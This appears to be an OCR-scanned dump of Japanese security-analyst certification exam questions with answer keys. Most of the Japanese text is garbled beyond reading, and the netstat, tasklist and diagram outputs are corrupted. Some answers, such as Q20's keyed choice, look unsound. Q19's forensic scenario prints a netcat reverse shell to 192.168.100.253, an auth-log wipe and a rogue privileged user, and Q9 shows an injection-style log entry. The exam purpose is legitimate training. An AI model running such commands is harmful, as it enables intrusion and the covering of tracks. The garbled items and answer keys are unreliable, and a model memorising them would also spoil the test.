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QUESTION NO: 1

HBILENFMMMENCRBUEEETOTSLZEIL, ThZEYR—NTBLOORHOEM
ZAFLELL,

EEL, WOAOBHEEAREHENTVWEVLES, Z7OFALKEKBLTVET,
RDSBEENNBEMEOBRZRSTOTLESIN?

A TIL—RT7TF—RAXHA_ALICAF ¥ FE2BRELET,

B. RAIAF Y EZRITLET,

CEFIVF BENRFTEZEHT S,

D. AFx ¥ VHEEZ EIFTLSEEL,

Answer: B

QUESTION NO: 2

BEeEEEEE (CEO) . HiLLEEEHREFI VT EEE (CISO) IZ, AHOHY A
N—tF1VF1 BEAOBILUANZREHBATDILISERL I,

ZTOHER, CISOlF., EFXF1UT 1 BRAEERORANTZ VT 1 RAZFANME LD L EME
RmLELE, ROPTIhZERTHIOICEYBERSREIENTIDL?

A. NIST

B. PCI

C. OWASP

D. OSSIM

Answer: A

QUESTION NO: 3

VI7IRDITRIATRE., IZ—/BEREBEZSIERCESETIEBDTVALT—RL
YREBEWICERLTANTEEICKR2T, PFUTGr—23a>oamwifizRT0 TV
F9,
ROVTRNIDITTEAXNBENDS S, SDLCOEDERBETINERTITILEN HY)
TITH? (22BRLTLEEY)

A. Behavior modeling

B. Requirements phase

C. Static code analysis

D. Planning phase

E. Fuzzing

F. Prototyping phase

Answer: E,F

QUESTION NO: 4

M7XVALSHEHIRENLEEFIVTAREOLHIC, BEEFIVFTAEEE (CSO) &
EBDLSBHREBENBRIDOZEH<SLEOICEIZEF IV T A HHEZHRASLVUTRETS
KROSF—LICERLEL L,

BIiCE, BRVY—ANDOT IV EAZZEELETRIRELLICERF—LEOAVYILT A
TF—LBBYNET,

tFIVTFAIR=DFY R, BERYRNT—INOREADSOT IV ERAZRB<ESHIC, O
T—2aUR—ADOFAZREL XL I,
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3n A&, AIUEHNITOTOENSORETHRLEL I,
RXDEF1IVTFTARGFLOXRBOSEENNREREZZASTETH ?

A.

BRFEEHAR—KNEE, BITHEIXREFXA—IEE, BATHINIBUNAT—RZBHHA
LTVWET,

B. \YVA—NEHEOZRY NDO—VRIZWBRENBEA 2 ENYIRTZEELUEL I,

C. Bttl&. DDoSOMEHEMZF DT T7A T I A—IZERBRL EEHI V) TT,

D. F—ARVPNT7 It AZBiHAL Y. BRMHLEZRIELELEATLE

Answer: D

QUESTION NO: 5

REAOY—N—TNILIVITHFEDLNTVET,
TFTFUOANIRREAOY—N—HLSOOIX ROBLHZEME A, —/N—D1DTETE
NMTVWBTOEANNILTIITTHRI AN HIAESH ZHMI B HICINTOHSD
T77AINEHEITIHBENFHYET,

TS

H—N—1, 2, 4GV VY UAIETT,

RILVIDITERANTDF—N—%ZERL, COXIINIVITEZRANTZ7T7OLAZERL
£ S

SXa1L—2a oBREEZTICRLEVESRE. Uty hAREZBRLTEZL,
SXAL—2aVHFRETLES, [RTIREVEIIUYILTERBLTLSEZL,

AL —2avhHAREEENLS, RNIREZVEZIUY OLTHEITLTSEEL,
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Froto
TCP

L I R

LLa s I I

[ L B e O I O O O O I
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SRRttt Y YT

o

Serverl Output

C:\ Users' Team3>netstat -oan

Active Connections

Local Address
0.0.0.0:49154
0.0.0.0:49184
0.0.0.0:49190

10.1.1.2:57433
10.1.1.2:50125
10.1.1.2:52344%
10.1.1.2:139
10.1.1.2:338%9
10.1.1.2:50741
10.1.1.2:50777
10.1.1.2:50778
[2:]2135
[2:]:445

C:\Users\ Team3> tasklist

Foreign &ddress

0.0.0.0:0
g.0.0.0:0
0.0.0.0:0
182.168.50.6:4
182.168.50.6:4
182.168.50.6:1
0.0.0.0:0
172.30.0
172.30.0.101:445
172.30.0.4:135
172.30.0.4:
[z2]=D

[z2]=0

R R

o LN

.148:49242

49157

Image Name PFID 5Session Name
System Idle Process 0 Services
System 4 Services
sms=s.exe 300 Services
CErss.exe 384 Services
vininit.exe 422 BServices
services.exe 2232 SBervices
l=za=ss.exe 240 Services
l=zn.exe Sel Services
svchost.exe 284 Services
svchost.exe 276 Services
svchost.exe 342 Services
spoclav.exe 103&¢ Services
svchost.exe 1068 Services
svchost.exe 2020 BServices
notepad.exe 1276 Services
svchost.exe 1720 BServices
SearchIndexer.exe 864 Services
OSPPSWV.EXE 25584 Services
C3rss.exe 372 RDP-Tcpfd
winlogon.exe 460 RDP-Tcpf#d
rdpclip.exe 1600 RDP-Tcp#l
dvn.exe 772 RODP-Tcp#d
taskhost.exe 1700 RDP-Tcp#0
explorer.exe 2500 RDP-Tcp#0
splvoved,exe Z29e0 RDP-Tcp#0
cnd.exe 1260 RDP-Tcp#0
conhost.exe Z6le RDP-Tcp#0
audiodyg.exe 880 Services
CSrss.exe 2400 Console
winlogon.exe 2492 Console
LogonUl.exe 2864 Console
notepad.exe 376 Serwvices
taskhozt.exe 2812 Services
tasklist.exe 1208 RDP-Tcp#0
WmlEPrvSE.exe 1276 Services

State FID

LISTENING 684

LISTENING 240

LISTENING 232

ESTABLISHED 1276

ESTABLISHED 278

ESTABLISHED 276

LISTENING 4

ESTABLISHED 348

ESTABLISHED 4

TIME WAIT a

TIME WAIT a

LISTENING 540

LISTENING 4

Seszsion# Usage
—_——= = —_—== __i

a 24 E
a 1,340 E
a BEZ4 E
a 3,048 K
Qd 3,284 K
Qd 7,832 K
Qd 8,776 K
Q 3,164 K
Q 22,528 K
a 9,860 K
a 12,136 K
a 8,216 E
] 7,888 K
] 17,324 K
] 4,324 K
a 3,172 K
a 14,8488 K
] 13,764 K
I 7,356 K
1 5,832 K
1 4,356 E
1 5,116 K
1 8,720 K
1 66,444 K
1 4,152 K
1 2,852 K
1 5,256 K
a 13,236 K
3 3,312 K
3 3,772 K
3 17,036 K
1 3,836 K
] 8,540 K
1 3,196 K
Q 3,776 K
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Server?

Proto
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

Image Name

" Output

Active Connections

ocal

s e e e R e e e s Y

|_.|_.|_.|_-.|_\|_'..

0.
0.
0

L
0
0
0
0
0
0.
0
0
1
1
1
[
[
[

System
SmM3Is.exs
c3rss.exe
vininit.exe
services.exe
lsasz.exe
lsn.esxe
avchost.exe
svchost.exe
avchost.exe
gvchost.exe
gvchost.exe
svchost.exe
avchost.exe
spoclav.exe
avchost.exe
svchost.exe
svchost.exe

CEYSs.eXe
vinlogon.exe
LogonUI.exe
carss.exe
winlogon.exe
rdpelip.exe
dvn.exe
explorer.exe
taskhost.exe
conhost.exe
conhost.exe
tasklist.exe
WmlPrvSE.exe

System Idle Process

SearchIndexer.sxe

.0.
0.
-0.
0.
i
D.O:49154

[ e e el

C:\ Users\ Team3>netstat -ano

Lddrezs
0:135
0:445
0:3389
0:49152
0:49153

.0:49155
.O 4591585
139

3389
S0276

s
Lk
e
35
453
385

C:\Users', Team3> tasklist

Seg=sion Name

Foreign Address
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:=0
182.188.50.5
182.188.50.5
[::]:0
[::1:0
[::]:0

rvices
rvices
rvices
rvices

nwmmimwminWwin MWW
M Mo
RoR
o o
B H
o0
m m
o m

nom M

ervices

1]
b
p
i
4]
]
[11]

rvices
rvices
rvices
rvices

L
1

Services
Services
Services
Services
Services
Services
Services
Services
Console
Conszsole
Console
RDP-Tcp#l
RDP-Tcp#l
RDP-Tcp#l
RDE-Tcp#0
RDE-Tcp#0
RDP-Tcpf0
RDE-Tcp#d
RODP-Tcp#l
RODP-Tcp#l
Services

State FID
LISTENING 71
LISTENING 4
LISTENING Sle
LISTENING 440
LISTENING 608
LISTENING 920
LISTENING 236
LISTENING 528
LISTENING 4
ESTABLISHED 21le
ESTABLISHED 4
LISTENTING 716
LISTENING 4
LISTENING ale
Session# Usage
0 24 K
0 836 K
0 900 K
a 3,252 K
a 3,272 K
a 8,212 K
a 10,140 E
0 5,360 K
0 P 372 K
a 6,472 K
a 14,372 E
a 44 856 E
0 22,580 K
0 8,700 K
a 13,236 E
a 9,964 K
a 7,716 K
0 15,228 E
X 3,156 K
1 15,720 K
3 3,444 K
3 3,620 K
3 17,080 E
1 3,256 K
1 6,228 K
1 4,304 K
1 4,132 K
1 58,948 E
1 5,304 K
1 3,120 K
1 5,204 K
1 3,180 K
a 8,780 K
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Server4 Output

C:\ Users\ Team3>netstat - ocan

Active Connections

Proto Local Address Foreign &ddress State PID

TCE 0.0.0.0:48154 0.0.0.0:0 LISTENING £36

TCP 0.0.0.0:48184 0.0.0.0:0 LISTENING 240

TCP 0.0.0.0:48190 0.0.0.0:0 LISTENING 93z

TCE 132.168.50.6:443 10.1.1.2:57433 ESTRELISHED 348

TCP 182.1668.530.6:445 10.3.L.2:50125 ESTRELISHED 240

TCP 1892.1eB8.50.6:135 10.1.1.2:52349 ESTAELISHED 240

TCFE 192.168.50.6:135 0.0.0.0:z LISTENING 4

TCP 192.1eB8.50.6:3389 172.30.0.148:49242 ESTAELISHED 348

TCP 192.1eB8.50.6:50741 172.30.0.101:445 ESTAELISHED 4

TCP 192 .168.50.6:50777 172.30.0.4:135 TIME WAIT a

TCF 192.168.50.6:50778 172.30.0.148:49157 TIME WAIT a

TCP [oa] 535 [aad=0 LISTENING 1720

TCP [z:]:445 5420 LISTENING 4

TCP [::]:=3238% {z2:1:0 LISTENING 248
C:\ Users' Team3> tasklist
Image Name PID Session Name Sessiont Usage
System Idle Process 0 Services ] 24 K
System 4 Services ] 1,340 K
smss.exe A00 Services a B84 K
CSrsz.exe 384 Services 1] 3,048 E
vininit.exe 432 Services 1] 3,284 E
services.exe 232 Services Q 7,832 K
lsass.exe 240 Services Q 3,776 K
lsn.exe el Services 1] 3,14 E
svchost.exe 636 Services Q E,B88d4 E
svchost.exe 348 Services Q 12,136 E
spoclsv.exe 1036 5Services Q 8,21 K
svchost.exe 1068 Services Q 7,888 K
svchost.exe 2020 Services a 17,324 E
svchost.exe 1720 Services 1] 3,172 K
SearchIndexer.exe ied4 Services 1] 14,588 E
OSPESWHC.exe 2584 Services a 13,724 E
CErss.exe 372 RDP-Tcp#0 1 7,356 K
winlogon.exe 460 RDP-Tcp#0 1 3,832 K
rdpclip.exe 1600 ERDP-Tcp#0 1 4,356 K
dvn.exe 772 RDP-Tcp#0 1 3,11l K
taskhost.exe 1700 RDP-Tcp#0 1 B,720 K
explorer.exe 2500 RDP-Tcp#l 1 66,444 K
Splvoved.exe 28960 EDP-Tcp#l 1 4,152 E
cmd . exe 1260 ERDP-Tcp#0 1 2,832 K
conhost.exe 2616 RDP-Tcp#0 1 S,256 K
audiodg.exe 8980 Services Q 13,256 E
CcSrssz.exe 400 Console 3 3,512 K
winlogon.exe 492 Console 3 2,372 K
LogonUI . exe Console 3 17,056 K
taskhozt.exe Services 1] 9,540 E
tasklist.exe RDE-Tcpdd 1 3,196 E
VmlPrv3E.exe Services a 5,776 K
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Network Diagram
INTERNAL DAMIZ
Serverd Serverl
192.168.50.3 1312
L Windows
Firewall
Two zones: DMZ, INTEEIWAL
Eracsd DME Gateway: 10.1.1.1 Server)
] J ! - i) Fa
192 168.50.6 INTERINAT. Gateway: 192 168.50.1 10113
Windows Windows

PROCESSES
[ ] Lsass.exe [ | Svchostexe [ ] Notepad.exe

[ ] Explorerexe [ ] Lsm.exe || searchindexer.exe

Answer:
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Network Diagram
INTERNAL DAIZ
Serverd Serverl
192.168.50.3 i W i12
Limmx : - : = Windows
“
Firewall
Two zones: DMZ, INTEEIWAL
S tacsd DME Gateway: 10.1.1.1 Server)
1 . s s
192 168.50.6 INTERINAT. Gateway: 192 168.50.1 10113
Windows Windows

PROCESSES

D Lsass.exe [:] Svchost.exe [ Notepad.exe

[ ] Explorerexe [ ] Lsm.exe || searchindexer.exe

Exilanation:

Explorerexe |

Lsass.exe Svchost.exe E Notepad.exe

Lsm.exe Searchindexer.exe

QUESTION NO: 6

EFIVFATFTFIVARNE, A VFURDSRIATODAX—D=ERLEL 1=,
TFTIOARNNEXTTHZINEL ZUTTHAL T EE L,

A.

THIOARNRE., RZATONYIOTYTE#ERL., RZATZNYZ1FR2RENHYET

B.
TFHFIOARNE, A X=20NY 2 1%2ERL, TORSATONY D 1IELRTIBEND
WET,

CTFHIARNE, " BEOREXEZERL., AT—IRIEZ—ICBHTIHLENHYET,
D. 7FVUAKNRZ, BRODMZRABL. BREBRELRODILEN BV ET,

Answer: B

QUESTION NO: 7
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AEECERBEZO LTIV T4 F—Al, BBUHEEBE7OJSLAZRARLTVETD,
FARAZY 7., HILLW7OJSLFBRBEEORBZICHEVT—ERAOHRER DV Z( L%
BlERBCICEICHMEZERALTVET,

CORZHLTRIEHIC, EF1VUTAF—ALARKEEOLROO7IVR—FNEL
CFIRSTZRETHILENf HDIDIFEXODSEENTITH?

A BESEEY—N—0O 08

B. HBI/\Y FERE

CEEEEFE

D. E¥a1UF1EIETAKN

Answer: D

QUESTION NO: 8

FEM10BF200 ICBAAL T, WFhhoF7 U s5—>ary—N—TaALUT7HhONE0o0OT
AVICKRBMUECEZRTTS—RMDSIEMASRHITENET, TOMOERBEOT AKX
BM795714ETFa1EREENnERA,
SplunkZERALTEDT AT NBICEETRDTITAET A 28BRETDE, X2 UT4
TFHFIDARNE, TOTHIRINLES<OBEEICEIAEh, SHEABMLBOECEER
BULELE, THDOMNE, F—ER—-AEZTLTVWAIARY—N—H5TF7 TV —>3
H—N—AOBILEHRATVET. XY RT—IETHOEFIUTFATITAET 1
BRHEhELA, TTFIVARNK, FTHOOMOREENf TOSETEHVTOVWAVRERETSH
PCEBRERELELE, ROSBEENNFFTOTHOD MAOOTA VETHERBML EHRET
REENEVERTITH?

A.
BEOHBDINILIVITICRDBEN XY ND—IAOTIVEAZHFILTHY, Q1
KBUECENTTIVT—2a30N0OT IO EAZRBELELSELECEERERLTVET,
B.
RARR=ADT7ATI#—)LHR—K389DOLDAPEREZ7OY VL TWVWS ., OY
1 BRBHRAT T VT—>23aoH—N—ICK2>TEEFEE LAV

C.
F7)T5—2a>074 v AR ACKEY, OJAVICKRBUEBETE, 77UT
—2aVICHLLWISA L AF—HA AR —ILEhBDETHREL TRELET,

D.

RALICKBMUETHI Y NGRS hTHE ST, TOTHIMOSHNAD—REER
S—HBICELERLE

Answer: A

QUESTION NO: 9
AROIDSAT R, EEOHAN—tEFIVTATFIAMIKI2>TREEAIL I,

141.21.15.254----[21/APRIL 2016:00:17:20+1200]
“GET /index.php?username=~A
200, 2731 “http://www.comptia.com/cgibin/form/commentary/noframes/read/209" “Mozilla/4.0 (compatible:MSIE 6.0:
Window NT 5.1: Hotbar 4.4.7.0)"

ROSEENNIDSOTICETVTLHIERLTABELEFShELES?
A.SQLA 2T U avHE
B.XY77HA-N—70O—E
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CHAVGAVNAD—RIZY UHE
D. VOAYA NAO VT T4 THE
Answer: B

QUESTION NO: 10

B—EATFAVDIVIVIAN2#RIZE, BERE., £F21UTAT7FIARHELLA
EXR—IVY—PSEFENLEVIIARNEZREITSZELSICUIIANLELE,

EXRE., LAIOABOIYZ—2vy—ICBLTWE TOY O8BR, 774 IILTERENET,
tFIVFTATFIANE, 5LRILDODNADT—RERRIBDEOHICERAETNZY—)L&H

RUEL L
COY—=)ILEE, 77A4)0OOY VZBRITDLEDHDICT—ERATFRAIDERDXAN—ICL
THEAENTVET,

ChSDBFED77TAIILORAR, BIEICHAITZIEREICHELOSVERTT.
CODIFVAFZHAITEIRANIROSEENTIA ? (20BIRLTLKEELY, )
A REBTF—EXAFY

B. fEF—X Dt

CHRETIOEA

D. FEBZRYV T RIIT

E.AEZID>NO—)L

Answer: C

QUESTION NO: 11

BBE, XYRND—VRAF YU ERTULT, POTA7BRANERBEEEBEL EWEE
ATVET, EEER, HEBEOETRAZEMIZD AT Y Z2HEBLELET, BEEVY—
ANFEBE, TORODAF Y B EERTETLBFEERFEZZFEALTEITTEET, ROAF
YORATE—TANSSE, HBOBEHICKREBLTVDDREENTITH ?
AdVTFAT UV AAF Y EFNICLESEBBROBEVAF >

B.AVT7SAT VAARF Y ETNICHELS BERBRAFT v

C. Norvcredentialed AF ¥ > & F i Z#i < credentialed AF + >

D. EMEHAF Y ETNIIBLK AV TSAT U AARF Y

Answer: B

QUESTION NO: 12

PHIOREICEAT S ZETETOEEZERERTAEHICIE, BHEUEAFT Y 2HENICERT
PRENHYNET, XRYNT—TVDREDAF v T56824FDESBEUNBREEhEL I,
E=mFEHREEE (CIO) ., INXTORAOBEZHRRID-HOREBTEZREL W&
EZATVET, ROSBEENZEHDDIONIRARNBEHFETTNL?

A. IXTORBHEFHAZEBIEL, BYDIXNTOEBEHZHERLLISELET,
B.REDMBHED I ARNBRENDET, EMAF ¥ ZHIL TS EETV,

C.
AF¥ %, BEANRINITOVTAAIINTHZEBRENETATALICESL, £
ChoDREEZBRLET,

D.PHIZAEBTHT Y hEY 2 RARY VARKBICHEL., INTORBEHEZHERLET,
Answer: C
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QUESTION NO: 13
EeaEHRtEF1IVT1EEE (CISO)E. NROZORREZEEAARINVERELT
RALTDRSRKROEL I,
CORRIERMLTEY, EETERT—RFLER2BET—REZRHELTVEEA,
syslogliZ &, XDBEHRAKRTENET,
Mar 16 14:58:31 myhost nsled [16637] @ [0e0f76] LDAP result () failed unable to authenticate
Mar 16 14:58:32 myhost nsled [52255a] : [0e0f76] LDAP result () failed unable to contact
Mar 16 14:58:40 myhost nsled [16637]  : [0e0f76] LDAP result () failed to authenticate
Mar 16 14:58:42 myhost nsled [52255a] : [0e0f76] LDAP result () failed unable to contact

RKD55, REN KRBT HEBERHEZHBLTLSEETL,
A.LDAPZRITTRH—N—IC@. VT ARKFBEAEIATVET,
B. AFx vV —JLICEEMELDAPERN BV T A,

CAF ¥ UICK2TLDAPI S —1— R52255an BREhE T,

D. LDAPH—N—ANQEHGNF XA LT INLEL L,
E.LDAPH—N—NEE>LAR—KMIEBHENTVET,

Answer: B

QUESTION NO: 14

PBAN—tFI1VF4TFIARNE, <HASHhE "A=IK—L XV E—DHFFXY KD
—OBRTRYND)— DV —ICE > THRENICRAERENDEVSIBFZZTEL
ZT7OF T F7ATIF—=I)INEEICXYE—DFHIBRLET,

TO—RFEOBENBZEDTH 2 EHML R, ROENAMOSTO AN T VREE
ZRLTVEIN?
AABOTTERTHES AT LANBRUESATAICEELRISELTVET,
B.NINIVITWREEATALALETRITEATVET,
CHREZGFLEVY—ANEEZRITLTVET,

D.AHAA—Fk, UE—MZRYRND—DIZBERBRERHLEISELTVET,

Answer: A

QUESTION NO: 15
EFIVTFATFIANE, SROEEZEFRTY . RMORBEAF v 2H8ABL L
B, EFIVFATFIARNGROBEZRR LKL £

CVEID CVSS Name
Base
CVE-1999-0524 1.0 ICMP timestamp request remote date disclosure
CVE-1999-0497 6.0 Anonymous FTP enabled
None 4 e Unsupported web server detection
CVE-2005-2150 5.0 Microsoft WindowsSMB service enumeration via \srvsvc

RXDBHEHENSE, BRENDEHICEBEIENZRETILEN HHDDIEENTTAH ?
A.ICMPRA LAZR>TER)E—NBHER
B. EZFTPAEBMICA-2TWVS
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C. srvsvclZ & & Microsoft Windows SMBH —E' A M 51| 3¢
D. H/R— hEhTWVWELWWebH—/N\—D#H
Answer: D

QUESTION NO: 16
HIEBNIRETOEEEY —> v I)ILXT 1 TWebHr 4 MMIEBLEL =,

WebH 4 NCBRBENEXER., HBBAO1IDOH—N—ICOKMREENTVDIXEDERE
AE—T79,

XAV FATFIUANE, BAEORVWAHDY—/N—LOONRSAINUALSBIR
NDHDZBELET,

Active Connections

Proto Local Address Foreign Address State PID Process Name
TCP 192.168.13.5 11.13.100.7 ESTABLISHED 422 [firefox.exe]
TCP 192.168.13.5 34111109 ESTABLISHED 516 [firefox.exe]
TCP 192.168.13.5 14410627 ESTABLISHED 773 [notepad.exe]
TCP 192.168.13.5 0.0.0.0 LISTENING 123  [svchost.exe]

ROSBEENNBREOTEAETLLESA?

A. Figure out which of the Firefox processes is the malware

B. Monitor all the established TCP connections for data exfiltration
C. Remove the malware associated with PID 773

D. Investigate the malware associated with PID 123

E. Block all TCP connections at the firewall

Answer: D

QUESTION NO: 17

HdanEk, FIELTLVSDTFNARAICRLT, IXNTOYNENBRIBFAISHIBRY ND—
ANDTVA VL AERZRBELET,

11— —RBGEEICERGTEELLEYN, STRINTOI—HY—HNEL2BEOTIEARAI K
ICERTDEHDUY—RAICTIVEATEBRVERELTVET,
ROSEENNBEORRAZHAL TLVETH,

A.T7IOEARA MAMACT RLATFTVEAZ7OYILTVWET,

MAC7 RLAZANLRI T 2BMICLET,

B. XY NTJ—UNFATEEXLEA,

COBBEZZRY NID—OHR—NIHBELTLSEEL,

CTIOEARA YV NI FEBTNAATT, A2 FMREFIBICH > TS EEL,

D. 1—%—0OF/NA ALOHRYIINODNSI > M,
HEEZTAR1——ICDNST7TFVYI1%2ERTITBRELSICERLET,

Answer: C

QUESTION NO: 18

ZEELXOIEI—R—A2IFUMNRRBTF—LR, BETIVX—HFEBOEFX—)
SATLAERELEBEBET —XOEENRELLEHMLRL I,

AT MNABFIRICHE2T, COERK, BES5CBRBREKICBHAITIZLENHYKRT,
RADS55, BRODZI1ZT7—>3VFERENTIN?
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REX—IILTEEEIALEEY

. VoIPEH

ato7O07n0%kE
HANEBTCHRARNENDAVAZ MY =D
ENFRANTIESHEX=)

Answer: D

mooO w>»

QUESTION NO: 19
A2F R ZERAEBELTVSE, EF21 VT4 T7FJAXRNELinUxY 2 TOhistory X >
ROHLZ#BLET. 7THFIANIROB L ZZFEYET,

-Il f " s

i — . i
1la al
cat passwd
gudo nc 1%2.168.100.253 —-& /bin/bash

'_"\.J. .l'.l-u"{.ll. .l'.ll llw_-l.J..
sudo echo ™ "™ > /svar/log/auth.log

sudo usatradd system —-g wheel, sshuser -u 835%
=110 ap e '|J|_||_]."|_"‘"
touch ~/system

TTHFIARE, COHIDODMASROSEENZHERMTITIRENF HGVETH?
A./var/log/AOOT 77 AIINHBIBRENEL 1=,

B. JAF—I1%192.168.100.253 L= nEL =,
CGUIrSsRABVWI—H—zZEMLEL I,

D. K& IER— N8O THIENTVERT,

Answer: D

QUESTION NO: 20

T70r—23>on

"authlog.log"€ WS BBID 7 7 A I)LIZIE. XROOTIVNUNFEBENRTVET,

User “oidc-provider-fb:john” succeszzfully logged in 2016-01-01 23:00:01
Uzer "local:Administrator™ successfully logged out 2016-01-01 23:00:05
Uzer “oide-provider-fb:kate” =succezsfully logged out 2016-01-01 23:00:07
EFIVTATFIANE, OV 7 7ANEHE ML TIXNTOENBI—F—BZHRTS
EOKBEENELLE, ROSBEENNCORAVZEERKLETH?

A. cat authlog.log | grep "2016-01-01" | echo "valid username found: $2"

B. echo authlog.log > sed 's/User//" | print "username exists: $User"

C. cat "authlog.log" | grep "User" | cut -F'' | echo "username exists: $1"

D. grep -e "successfully" authlog.log | awk {print $2}' | sed s/\'//g

Answer: C
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